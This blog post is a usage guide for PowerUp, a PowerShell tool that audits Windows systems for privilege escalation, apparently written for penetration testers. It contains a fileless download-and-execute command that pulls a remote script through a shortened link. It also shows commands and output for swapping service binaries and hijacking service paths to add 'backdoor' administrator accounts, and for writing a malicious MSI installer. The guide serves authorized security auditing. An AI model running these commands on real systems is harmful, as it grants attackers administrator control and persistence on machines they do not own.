Note: this topic was cross-posted on the official Veris Group blog.
PowerUp is the result of wanting a clean way to audit client systems for common Windows privilege escalation vectors. It utilizes various service abuse checks, .dll hijacking opportunities, registry checks, and more to enumerate common ways that you might be able to elevate on a target system. We’ve gotten the chance to test PowerUp in multiple environments, as well integrate public feedback, so I wanted to put together a quick usage guide for those wanting to check it out.
To load up PowerUp, first download the raw script to a local location, and then launch Powershell:
- C:> powershell.exe -nop -exec bypass
Then import the PowerUp module with the following:
- PS C:\> Import-Module PowerUp.ps1
All of the PowerUp cmdlets will now be exposed and tab completable (Get-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Get-ServiceEXEPerms -full“. To get a list of all the available functions, check the README.md. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ”PS C:\> Get-ServicePerms | Out-File -Encoding ASCII checks.txt” (the -encoding flag is used since since Powershell defaults to Unicode).
The most common way I end up using PowerUp is by using the Invoke-AllChecks function, which runs through all relevant checks for the machine and outputs a status report:
- PS C:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
Sidenote: there are a few other ways you can run the Invoke-AllChecks functionality in the field, particularly over a Meterpreter (or Beacon) agent. One option is to upload the PowerUp.ps1 script to the machine, drop into a shell, and execute the following command:
- C:\> powershell.exe -exec bypass -Command “& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}”
If you want to invoke everything without touching disk, use something like this:
- C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”
There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append “Invoke-AllChecks” to the end of PowerUp.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.
Now, let’s take a look at that example report:
Running Invoke-AllChecks Checking for unquoted service paths... [+] Unquoted service path: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe Checking service executable permissions... [+] Vulnerable service executable: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe Checking service permissions... [+] Vulnerable service: CustomAPP - C:\Custom\deploy.exe Checking for unattended install files... [+] Unattended install file: C:\Windows\Panther\Unattended.xml Checking %PATH% for potentially hijackable service .dll locations... Checking for AlwaysInstallElevated registry key... [+] AlwaysInstallElevated is enabled for this machine! Checking for Autologon credentials in registry...
We definitely have some interesting output to check out here. The first thing I could check out is the unattended installation file at C:\Windows\Panther\Unattended.xml- this file might have a base64-encoded deployment password that would give us a quick win.
The next up is the vulnerable service executable. This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly. PowerUp includes a function to easily back up the service .exe and write out a patched C# service to that service location. If it succeeds, it returns True, and returns False if it fails. We can use the -Verbose flag to get some more information:
- PS C:\> Write-ServiceEXE -ServiceName CustomSVC -UserName backdoor -Password password123 -Verbose
VERBOSE: Backing up ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’ to ‘C:\Users\adam\Documents\Visual Studio
2008\Projects\Service\Service\bin\Release\service.exe.bak’
VERBOSE: Service binary written out to ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’
True
This new service binary will create a new user named backdoor, and add them to the local administrators. If we can’t start/stop the service, rebooting the box should do the trick to get the user added. After the user is added, running Restore-ServiceEXE -ServiceName CustomSVC should place the original binary back in its proper place.
Sometimes services themselves are vulnerable- if we can modify a service and start/stop it, we can change the path name to the service exe to be something like “net user backdoor2 /add”. If we start/stop the service and then repeat that process to add the user to the local administrators, we’re golden:
- PS C:\> Invoke-ServiceUserAdd -ServiceName CustomAPP -UserName backdoor2 -Password password123 -Verbose
VERBOSE: Service ‘CustomAPP’ original path: ‘C:\Custom\deploy.exe’
VERBOSE: Service ‘CustomAPP’ original state: ‘Stopped’
VERBOSE: Adding user ‘backdoor2′
VERBOSE: Adding user ‘backdoor2′ to group ‘Administrators’
VERBOSE: Restoring original path to service ‘CustomAPP’
VERBOSE: Leaving service ‘CustomAPP’ in stopped state
True
Finally, let’s check out that AlwaysInstallElevated key. This is a key sometimes set by enterprises in an attempt to simply the deployment of installer packages without granting users administrative rights. However, setting this key actually is the exact same as giving users those rights, as writing out a custom .msi installer and running it will give the user elevated privileges:
- PS C:\> Write-UserAddMSI
Service binary written out to ‘UserAdd.msi’
True
When we run this .msi, it gives us a gui to add a local admin:
If you have any questions, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, or on Freednode (harmj0y in #veil or #armitage).